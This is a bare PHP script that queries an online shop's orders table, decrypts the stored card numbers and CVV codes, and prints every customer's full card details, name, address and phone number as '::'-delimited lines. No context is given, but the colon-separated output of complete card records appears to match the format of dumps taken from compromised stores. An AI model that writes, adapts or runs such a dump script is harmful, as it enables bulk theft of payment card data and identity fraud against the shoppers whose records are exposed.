<?
$username="username";
$password="password";
$database="your_database";

mysql_connect(localhost,$username,$password);
@mysql_select_db($database) or die( "Unable to select database");
$query="SELECT card_number, card_exp_date_month, card_exp_date_year,card_cvv, card_holder,cardholder_first_name ,cardholder_last_name,cardholder_address1,cardholder_city,cardholder_state,cardholder_zip,cardholder_country_id,cardholder_phone,date_fulfilled,updated FROM orders";
$result=mysql_query($query);

$num=mysql_numrows($result);

mysql_close();


$i=0;
while ($i < $num) {
$card_number=decrypt(mysql_result($result,$i,"card_number"));
$card_exp_date_month=mysql_result($result,$i,"card_exp_date_month");
$card_exp_date_year=mysql_result($result,$i,"card_exp_date_year");
$card_cvv=decrypt(mysql_result($result,$i,"card_cvv"));
$card_holder=mysql_result($result,$i,"card_holder");
$cardholder_first_name=mysql_result($result,$i,"cardholder_first_name");
$cardholder_last_name=mysql_result($result,$i,"cardholder_last_name");
$cardholder_address1=mysql_result($result,$i,"cardholder_address1");
$cardholder_city=mysql_result($result,$i,"cardholder_city");
$cardholder_state=mysql_result($result,$i,"cardholder_state");
$cardholder_zip=mysql_result($result,$i,"cardholder_zip");
$cardholder_country_id=mysql_result($result,$i,"cardholder_country_id");
$cardholder_phone=mysql_result($result,$i,"cardholder_phone");
$date_fulfilled=mysql_result($result,$i,"date_fulfilled");
$updated=mysql_result($result,$i,"updated");

echo $card_number."::".$card_exp_date_month."::".$card_exp_date_year."::".$card_cvv."::".$card_holder."::".$cardholder_first_name."::".$cardholder_last_name."::".$cardholder_address1."::".$cardholder_city."::".$cardholder_state."::".$cardholder_zip."::".$cardholder_country_id."::".$cardholder_phone."::".$date_fulfilled."::".$updated;



$i++;
}

?>